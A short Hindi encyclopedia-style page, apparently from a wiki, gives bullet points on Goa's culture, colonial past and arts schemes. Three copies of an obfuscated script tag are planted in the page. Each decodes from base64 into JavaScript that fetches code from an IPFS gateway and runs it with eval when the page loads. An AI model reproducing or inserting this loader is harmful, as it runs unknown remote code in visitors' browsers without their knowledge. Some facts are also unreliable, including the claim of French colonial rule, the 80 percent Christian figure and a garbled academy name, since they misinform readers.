गोवा की संस्कृति
- सुरम्य सागरतट पर बसा गोवा प्रांत अपनी प्राकृतिक सुंदरता व अनूठी संस्कृति के लिए प्रसिद्ध है।
- आज़ादी से पहले यह प्रांत पुर्तग़ीज व फ्रांसीसियों का उपनिवेश रह चुका है।
- इस वजह से आज भी यहाँ के रहन-सहन, भाषा व खानपान पर पश्चिमी संस्कृति का पूरा प्रभाव दिखाई देता है।
- 1542 में यहाँ सेंट फ्रांसिस जेवियर का आगमन हुआ।
- उन्होंने यहाँ रहकर ईसाई धर्म का प्रचार-प्रसार किया। गोवा में 80 प्रतिशत लोग ईसाई हैं।
- गोवा में टाइट अकादमी की स्थापना की गई है।
- सांस्कृतिक गतिविधियों को बढ़ावा देने तथा कलाकारों को सहायता देने के लिए कला सम्मान, कलाकार कृतिदन्यता निधि जैसी विभिन्न योजनाएँ चलाई जा रही हैं।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
बाहरी कडियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>